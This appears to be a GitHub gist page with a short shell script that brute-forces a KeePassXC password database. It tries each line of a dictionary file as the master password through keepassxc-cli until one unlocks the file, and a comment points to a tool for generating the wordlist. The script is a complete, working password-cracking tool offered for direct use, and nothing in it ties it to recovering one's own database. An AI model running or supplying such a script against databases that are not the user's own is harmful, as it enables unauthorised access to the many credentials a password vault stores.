Skip to content

Instantly share code, notes, and snippets.

@xorcare
Created November 14, 2021 19:25
Show Gist options
  • Save xorcare/de82f8bbf77532a9ffb28a9e6f441aa3 to your computer and use it in GitHub Desktop.
Save xorcare/de82f8bbf77532a9ffb28a9e6f441aa3 to your computer and use it in GitHub Desktop.
Brute force a KeepassXC database file with a dictionary attack
#!/bin/sh
# Usage: ./crack-keepassxc.sh passwords.kdbx dict.txt
#
# The dictionary file can be generated with:
# https://github.com/TimurKiyivinski/permutatify
while read -r password; do
echo "Using password: \"$password\""
echo "$password" | keepassxc-cli db-info "$1" && exit 0
done <"$2"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment